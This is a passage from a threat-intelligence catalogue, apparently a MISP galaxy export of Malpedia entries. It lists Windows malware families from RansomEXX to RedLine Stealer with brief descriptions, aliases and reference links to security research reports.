https://www.proofpoint.com/us/threat-insight/post/ransoc-desktop-locking-ransomware-ransacks-local-files-social-media-profiles

RansomEXX (Windows)

RansomExx is a ransomware family that targeted multiple companies starting in mid-2020. It shares commonalities with Defray777.

The tag is: *misp-galaxy:malpedia="RansomEXX (Windows)"*

RansomEXX (Windows) is also known as:

- Defray777
- Ransom X

Table 4896. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx
https://medium.com/proferosec-osm/ransomexx-fixing-corrupted-ransom-8e379bcaf701

https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.microsoft.com/en-us/security/blog/2025/04/08/exploitation-of-clfs-zero-day-leads-to-ransomware-activity/

https://github.com/Bleeping/Ransom.exx

https://www.sentinelone.com/anthology/ransomexx/

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4

https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html

https://www.bleepingcomputer.com/news/security/new-ransom-x-ransomware-used-in-texas-txdot-cyberattack/

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx

https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/

https://www.youtube.com/watch?v=qxPXxWMI2i4

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware

https://www.bleepingcomputer.com/news/security/brazils-court-system-under-massive-ransomexx-ransomware-attack/

https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html

https://www.trendmicro.com/en_us/research/21/a/expanding-range-and-improving-speed-a-ransomexx-approach.html

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/

https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf

https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/

https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.ic3.gov/Media/News/2021/211101.pdf
https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/

RansomHub

Ransomware written in Golang and obfuscated with Gobfuscate, with significant code overlap to Knight ransomware.

The tag is: *misp-galaxy:malpedia="RansomHub"*

RansomHub is also known as:

Table 4897. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomhub
https://services.google.com/fh/files/misc/threat_horizons_report_h1_2025.pdf
https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations
https://www.sentinelone.com/blog/ransomware-evolution-how-cheated-affiliates-are-recycling-victim-data-for-profit/
https://blog.bushidotoken.net/2025/04/tracking-adversaries-evilcorp-ransomhub.html
https://catalyst.prodaft.com/public/report/larva-208/overview
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf
https://www.trendmicro.com/en_us/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html
https://www.group-ib.com/blog/ransomhub-never-sleeps-episode-1/
https://www.linkedin.com/pulse/ransomhub-ransomware-deploys-malware-breach-corporate-hb44c/
https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-31072025-ShadowSyndicate-infrastructure-illumination-EN.pdf
https://symantec-enterprise-blogs.security.com/threat-intelligence/ransomhub-knight-ransomware

Ransomlock

The tag is: *misp-galaxy:malpedia="Ransomlock"*

Ransomlock is also known as:

- WinLock

Table 4898. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock
https://forum.malekal.com/viewtopic.php?t=36485&start=
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022215-2340-99&tabid=2

SNC

Ransomware SNC is a ransomware who encrypts files and asks for a variable amount of Bitcoin before releasing the decryption key to your files. The threat actor asks to be contacted for negotiating the right ransom fee.

The tag is: *misp-galaxy:malpedia="SNC"*

SNC is also known as:

Table 4899. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomware_snc
https://yomi.yoroi.company/report/5deea91bac2ea1dcf5337ad8/5deead588a4518a7074dc6e6/overview

Rapid Ransom

InfinityGroup notes that Rapid Ransomware, unlike regular Ransomware, stays active on the computer after initially encrypting the systems and also encrypts any new files that are created. It does this by creating auto-runs that are designed to launch the ransomware and display the ransom note every time the infected system is started.

The tag is: *misp-galaxy:malpedia="Rapid Ransom"*

Rapid Ransom is also known as:

Table 4900. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://twitter.com/malwrhunterteam/status/977275481765613569
https://twitter.com/malwrhunterteam/status/997748495888076800
https://www.fsec.or.kr/common/proc/fsec/bbs/163/fileDownLoad/2297.do
https://exchange.xforce.ibmcloud.com/collection/GuessWho-Ransomware-A-Variant-of-Rapid-Ransomware-ef226b9792fa4c1e34fa4c587db04145

RapidStealer

A spy trojan is a type of malware that has the capability to gather information from the infected system without consent from the user. This information is then sent to a remote attacker.

The tag is: *misp-galaxy:malpedia="RapidStealer"*

RapidStealer is also known as:

Table 4901. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_stealer
http://pwc.blogs.com/cyber_security_updates/2014/09/malware-microevolution.html

Rarog

The tag is: *misp-galaxy:malpedia="Rarog"*

Rarog is also known as:

Table 4902. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rarog
https://tracker.fumik0.com/malware/Rarog
https://unit42.paloaltonetworks.com/unit42-smoking-rarog-mining-trojan/

rarstar

This ransomware encrypts all user's data on the PC (photos, documents, excel tables, music, videos, etc), adds its specific extension to every file, and creates the HOW_TO_DECYPHER_FILES.txt files in every folder which contains encrypted files.

The tag is: *misp-galaxy:malpedia="rarstar"*

rarstar is also known as:

Table 4903. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

Raspberry Robin

Worm spread by external drives that leverages Windows Installer to reach out to QNAP-associated

domains and download a malicious DLL.

The tag is: *misp-galaxy:malpedia="Raspberry Robin"*

Raspberry Robin is also known as:

- LINK_MSIEXEC
- QNAP-Worm
- RaspberryRobin

Table 4904. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.raspberry_robin
https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
http://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://www.trendmicro.com/fr_fr/research/22/l/raspberry-robin-malware-targets-telecom-governments.html
https://harfanglab.io/en/insidethelab/raspberry-robin-and-its-new-anti-emulation-trick/
https://www.securityjoes.com/post/raspberry-robin-detected-itw-targeting-insurance-financial-institutes-in-europe
https://darktrace.com/blog/the-early-bird-catches-the-worm-darktraces-hunt-for-raspberry-robin
https://www.cybereason.com/blog/threat-alert-raspberry-robin-worm-abuses-windows-installer-and-qnap-devices
https://blogs.cisco.com/security/raspberry-robin-highly-evasive-worm-spreads-over-external-disks
https://redcanary.com/blog/raspberry-robin/
https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis/
https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/
https://thehackernews.com/2022/07/microsoft-links-raspberry-robin-usb.html?_m=3n%2e009a%2e2800%2ejp0ao0cjb8%2e1shm
https://www.bleepingcomputer.com/news/security/microsoft-links-raspberry-robin-worm-to-clop-ransomware-attacks/
https://research.checkpoint.com/2023/raspberry-robin-anti-evasion-how-to-exploit-analysis
https://research.checkpoint.com/2024/raspberry-robin-keeps-riding-the-wave-of-endless-1-days/
https://www.silentpush.com/blog/socgholish/
https://www.zscaler.com/blogs/security-research/unraveling-raspberry-robin-s-layers-analyzing-obfuscation-techniques-and
https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

https://unit42.paloaltonetworks.com/unsigned-dlls/
https://www.huntress.com/blog/evolution-of-usb-borne-malware-raspberry-robin

Ratankba

This is a backdoor that establishes persistence using the Startup folder. It communicates to its C&C server using HTTPS and a static HTTP User-Agent string. QUICKRIDE is capable of gathering information about the system, downloading and loading executables, and uninstalling itself. It was leveraged against banks in Poland.

The tag is: *misp-galaxy:malpedia="Ratankba"*

Ratankba is also known as:

- QUICKRIDE

Table 4905. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankba
https://community.broadcom.com/symantecenterprise/viewdocument/attackers-target-dozens-of-global-b
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.secureworks.com/research/threat-profiles/nickel-gladstone
https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware-0
https://raw.githubusercontent.com/eric-erki/APT_CyberCriminal_Campagin_Collections/master/2017/2017.05.30.Lazarus_Arisen/Group-IB_Lazarus.pdf
https://twitter.com/PhysicalDrive0/status/828915536268492800
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf
https://baesystemsai.blogspot.com/2017/02/lazarus-watering-hole-attacks.html
https://content.fireeye.com/apt/rpt-apt38
https://www.bleepingcomputer.com/news/security/polish-banks-infected-with-malware-hosted-on-their-own-governments-site/
https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware
http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html

RatankbaPOS

The tag is: *misp-galaxy:malpedia="RatankbaPOS"*

RatankbaPOS is also known as:

- RATANKBAPOS

Table 4906. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ratankbapos
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf
http://blog.trex.re.kr/3
https://securelist.com/lazarus-under-the-hood/77908/

RATel

The tag is: *misp-galaxy:malpedia="RATel"*

RATel is also known as:

Table 4907. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ratel
https://businessinsights.bitdefender.com/tech-advisory-manageengine-cve-2022-47966
https://github.com/FrenchCisco/RATel
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/

RatSnif

The tag is: *misp-galaxy:malpedia="RatSnif"*

RatSnif is also known as:

Table 4908. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ratsnif
https://threatvector.cylance.com/en_us/home/threat-spotlight-ratsnif-new-network-vermin-from-oceanlotus.html
https://www.secureworks.com/research/threat-profiles/tin-woodlawn

Raven Stealer

The tag is: *misp-galaxy:malpedia="Raven Stealer"*

Raven Stealer is also known as:

Table 4909. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ravenstealer
https://www.cyfirma.com/research/raven-stealer-unmasked-telegram-based-data-exfiltration/

RAWDOOR

The tag is: *misp-galaxy:malpedia="RAWDOOR"*

RAWDOOR is also known as:

Table 4910. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rawdoor
https://harfanglab.io/en/insidethelab/apt31-indictment-analysis/

RawPOS

The tag is: *misp-galaxy:malpedia="RawPOS"*

RawPOS is also known as:

Table 4911. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos
http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite
https://threatvector.cylance.com/en_us/home/rawpos-malware.html
https://www.youtube.com/watch?v=fevGZs0EQu8

Razy

Razy is a malware family which uses a malicious browser extension in order to steal cryptocurrency.

The tag is: *misp-galaxy:malpedia="Razy"*

Razy is also known as:

Table 4912. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.razy
https://securelist.com/razy-in-search-of-cryptocurrency/89485/

RC2FM

A family identified by ESET Research in the InvisiMole campaign.

The tag is: *misp-galaxy:malpedia="RC2FM"*

RC2FM is also known as:

Table 4913. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rc2fm
https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal
https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf

RCS

The tag is: *misp-galaxy:malpedia="RCS"*

RCS is also known as:

- Crisis
- Remote Control System

Table 4914. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs
https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/
http://blogs.360.cn/post/APT-C-34_Golden_Falcon.html
https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware
https://www.f-secure.com/documents/996508/1030745/callisto-group
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines
https://www.f-secure.com/content/dam/f-secure/en/labs/whitepapers/Callisto_Group.pdf
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html
https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-hacking-team-hacked-team/
https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170728/Guerrero-Saade-Raiu-VB2017.pdf

https://www.vice.com/en_us/article/jgxvdx/jan-marsalek-wirecard-bizarre-attempt-to-buy-hacking-team-spyware
https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/

RCtrl

The tag is: *misp-galaxy:malpedia="RCtrl"*

RCtrl is also known as:

Table 4915. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rctrl
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/

rdasrv

The tag is: *misp-galaxy:malpedia="rdasrv"*

rdasrv is also known as:

Table 4916. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rdasrv
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf

RDAT

The tag is: *misp-galaxy:malpedia="RDAT"*

RDAT is also known as:

- GREYSTUFF

Table 4917. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rdat
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/
https://www.welivesecurity.com/en/eset-research/bladedfeline-whispering-dark/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020OverWatchNowheretoHide.pdf

ReactorBot

Please note: ReactorBot in its naming is often mistakenly labeled as Rovnix. ReactorBot is a full blown bot with modules, whereas Rovnix is just a bootkit / driver component (originating from Carberp), occasionally delivered alongside ReactorBot.

The tag is: *misp-galaxy:malpedia="ReactorBot"*

ReactorBot is also known as:

Table 4918. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot
https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html
http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html
http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/

Reaver

Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the "Five Poisons" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.

The tag is: *misp-galaxy:malpedia="Reaver"*

Reaver is also known as:

Table 4919. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
https://threatvector.cylance.com/en_us/home/reaver-mapping-connections-between-disparate-chinese-apt-groups.html

RecordBreaker

This malware is a successor to Raccoon Stealer (also referred to as Raccoon Stealer 2.0), which is however a full rewrite in C/C++.

The tag is: *misp-galaxy:malpedia="RecordBreaker"*

RecordBreaker is also known as:

Table 4920. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.recordbreaker
https://www.zscaler.com/blogs/security-research/raccoon-stealer-v2-latest-generation-raccoon-family
https://www.bleepingcomputer.com/news/security/raccoon-stealer-malware-operator-gets-5-years-in-prison-after-guilty-plea/amp/
https://decoded.avast.io/threatresearch/avast-q2-2022-threat-report/
https://any.run/cybersecurity-blog/raccoon-stealer-v2-malware-analysis/
https://www.youtube.com/watch?v=NI_Yw2t9zoo
https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf
https://cocomelonc.github.io/malware/2025/01/19/malware-tricks-44.html
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware
https://www.googlecloudcommunity.com/gc/Community-Blog/Finding-Malware-Unveiling-RECORDSTEALER-with-Google-Security/ba-p/803490
https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf
https://malwarebookreports.com/the-trash-panda-reemerges-from-the-dumpster-raccoon-stealer-v2/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf
https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-recordbreaker-f6400c11d58b
https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf
https://asec.ahnlab.com/en/52072/
https://infosecwriteups.com/raccoon-stealer-v2-malware-analysis-55cc33774ac8

https://www.socinvestigation.com/raccoon-infostealer-malware-returns-with-new-ttps-detection-response/
https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf
https://cloudsek.com/recordbreaker-the-resurgence-of-raccoon
https://www.cybercrimediaries.com/post/russian-language-cybercriminal-forums-analyzing-the-most-active-and-renowned-communities
https://d01a.github.io/raccoon-stealer/
https://socprime.com/blog/raccoon-stealer-detection-a-novel-malware-version-2-0-named-recordbreaker-offers-hackers-advanced-password-stealing-capabilities/
https://blog.cyble.com/2022/11/08/massive-youtube-campaign-targeting-over-100-applications-to-deliver-info-stealer/

RedAlpha

The tag is: *misp-galaxy:malpedia="RedAlpha"*

RedAlpha is also known as:

Table 4921. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha
https://www.recordedfuture.com/redalpha-cyber-campaigns/

RedCap

According to Trend Micro, this backdoor receives valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.

The tag is: *misp-galaxy:malpedia="RedCap"*

RedCap is also known as:

Table 4922. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redcap
https://www.trendmicro.com/en_us/research/23/b/new-apt34-malware-targets-the-middle-east.html

RedCurl

The tag is: *misp-galaxy:malpedia="RedCurl"*

RedCurl is also known as:

Table 4923. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redcurl
https://bi.zone/eng/expertise/blog/red-wolf-vnov-shpionit-za-kommercheskimi-organizatsiyami/
https://go.group-ib.com/report-redcurl-en?_gl=1*t8hou9*_ga*MTY4NTg1NzA4Ny4xNzA4MDk1MjMx*_ga_QMES53K3Y2*MTcwODA5NTIzMC4xLjEuMTcwODA5NjAyNy45LjAuMA..
https://go.group-ib.com/report-redcurl-awakening-en

RedEnergy Stealer

According to Zscaler ThreatLabz, RedEnergy stealer uses a fake update campaign to target multiple industry verticals and possesses the ability to steal information from various browsers, enabling the exfiltration of sensitive data, while also incorporating different modules for carrying out ransomware activities.The name of the malware was kept due to the common method names observed during the analysis.

The tag is: *misp-galaxy:malpedia="RedEnergy Stealer"*

RedEnergy Stealer is also known as:

Table 4924. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redenergy_stealer
https://www.zscaler.com/blogs/security-research/ransomware-redefined-redenergy-stealer-ransomware-attacks

RedLeaves

The tag is: *misp-galaxy:malpedia="RedLeaves"*

RedLeaves is also known as:

- BUGJUICE

Table 4925. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves

https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html
https://www.cyber.gov.au/sites/default/files/2019-03/msp_investigation_report.pdf
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html
http://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf
https://community.rsa.com/community/products/netwitness/blog/2017/05/03/hunting-pack-use-case-redleaves-malware
https://www.accenture.com/t20180423T055005Z_w/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Red%20Leaves
https://www.carbonblack.com/2017/05/09/carbon-black-threat-research-dissects-red-leaves-malware-leverages-dll-side-loading/
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://www.us-cert.gov/ncas/alerts/TA17-117A
https://www.accenture.com/t20180423T055005Z*w*/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf
https://www.jpcert.or.jp/magazine/acreport-redleaves.html
http://blog.macnica.net/blog/2017/12/post-8c22.html
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf

RedLine Stealer

RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.

The tag is: *misp-galaxy:malpedia="RedLine Stealer"*

RedLine Stealer is also known as:

- RECORDSTEALER

Table 4926. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer
https://www.fortinet.com/blog/threat-research/excel-document-delivers-malware-by-exploiting-cve-2017-11882
https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/
https://embee-research.ghost.io/redline-stealer-basic-static-analysis-and-c2-extraction/
https://embeeresearch.io/redline-stealer-basic-static-analysis-and-c2-extraction/
https://any.run/cybersecurity-blog/crackedcantil-breakdown/
https://www.microsoft.com/en-us/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
https://www.bleepingcomputer.com/news/microsoft/microsoft-confirms-they-were-hacked-by-lapsus-extortion-group/
https://www.kroll.com/en/insights/publications/cyber/redlinestealer-malware
https://embee-research.ghost.io/combining-pivot-points-to-identify-malware-infrastructure-redline-smokeloader-and-cobalt-strike/
https://web.archive.org/web/20230606224056/https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152
https://thehackernews.com/2022/03/microsoft-and-okta-confirm-breach-by.html
https://www.bitdefender.com/blog/labs/redline-stealer-resurfaces-in-fresh-rig-exploit-kit-campaign/
https://www.proofpoint.com/us/threat-insight/post/ta505-and-others-launch-new-coronavirus-campaigns-now-largest-collection-attack
https://medium.com/@idan_malihi/redline-stealer-malware-analysis-76506ef723ab
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware
https://dr4k0nia.github.io/posts/Unpacking-RedLine-Stealer/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Jan-Jun%202024%20Botnet%20Threat%20Update.pdf
https://www.zscaler.com/blogs/security-research/making-victims-pay-infostealer-malwares-mimick-pirated-software-download
https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a
https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service
https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion
https://blog.minerva-labs.com/redline-stealer-masquerades-as-telegram-installer
https://fourcore.io/blogs/threat-hunting-browser-credential-stealing

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/redline-stealer-a-novel-approach/

https://www.logpoint.com/wp-content/uploads/2024/03/logpoint-etpr-a-comprehensive-overview-on-stealer-malware-families.pdf

https://medium.com/@lcam/updates-from-the-maas-new-threats-delivered-through-nullmixer-d45defc260d1

https://www.bleepingcomputer.com/news/security/fake-valorant-cheats-on-youtube-infect-you-with-redline-stealer/

https://www.atomicmatryoshka.com/post/cracking-open-the-malware-pi%C3%B1ata-series-intro-to-dynamic-analysis-with-redlinestealer

https://securityaffairs.co/wordpress/129391/hacking/lapsus-gang-compromised-microsoft-employees-account.html

https://securityintelligence.com/posts/roboski-global-recovery-automation/

https://securityscorecard.pathfactory.com/all/a-detailed-analysis

https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns

https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html

https://blog.minerva-labs.com/become-a-vip-victim-with-new-discord-distributed-malware

https://ke-la.com/information-stealers-a-new-landscape/

https://muha2xmad.github.io/malware-analysis/fullredline/

https://blog.avast.com/adobe-acrobat-sign-malware

https://cyber-anubis.github.io/malware%20analysis/redline/

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord

https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/trellix-global-defenders-invaders-of-the-information-snatchers.html

https://logpoint.com/hubfs/blog_assets/logpoint-etpr-a-comprehensive-overview-on-stealer-malware-families-1.pdf?hsLang=en

https://therecord.media/scattered-spider-ransomware-attacks-hospitality-retail

https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152

https://www.zscaler.com/blogs/security-research/cybergate-rat-and-redline-stealer-delivered-ongoing-autoit-malware-campaigns

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf

https://www.team-cymru.com/post/seychelles-seychelles-on-the-c-2-shore

https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md

https://asec.ahnlab.com/en/30445/

https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q3%20Botnet%20Threat%20Update.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf

https://www.fortinet.com/blog/threat-research/excel-document-delivers-multiple-malware-exploiting-cve-2017-11882-part-two

https://asec.ahnlab.com/en/35981/

https://n1ght-w0lf.github.io/tutorials/yara-for-config-extraction/

https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html

https://www.fortinet.com/blog/threat-research/omicron-variant-lure-used-to-distribute-redline-stealer

https://research.openanalysis.net/dotnet/xorstringsnet/agenttesla/2023/04/16/xorstringsnet.html

https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html

https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/

https://blog.morphisec.com/syk-crypter-discord

https://krebsonsecurity.com/2022/03/a-closer-look-at-the-lapsus-data-extortion-group/

https://krebsonsecurity.com/2023/09/fbi-hacker-dropped-stolen-airbus-data-on-9-11/

https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://blog.netlab.360.com/purecrypter

https://blog.chainalysis.com/reports/2022-crypto-crime-report-preview-malware/

https://blog.eclecticiq.com/redline-stealer-variants-demonstrate-a-low-barrier-to-entry-threat

https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout

https://www.youtube.com/watch?v=NI_Yw2t9zoo

https://securelist.com/self-spreading-stealer-attacks-gamers-via-youtube/107407/

https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf

https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf

https://unit42.paloaltonetworks.com/bluesky-ransomware/

https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/

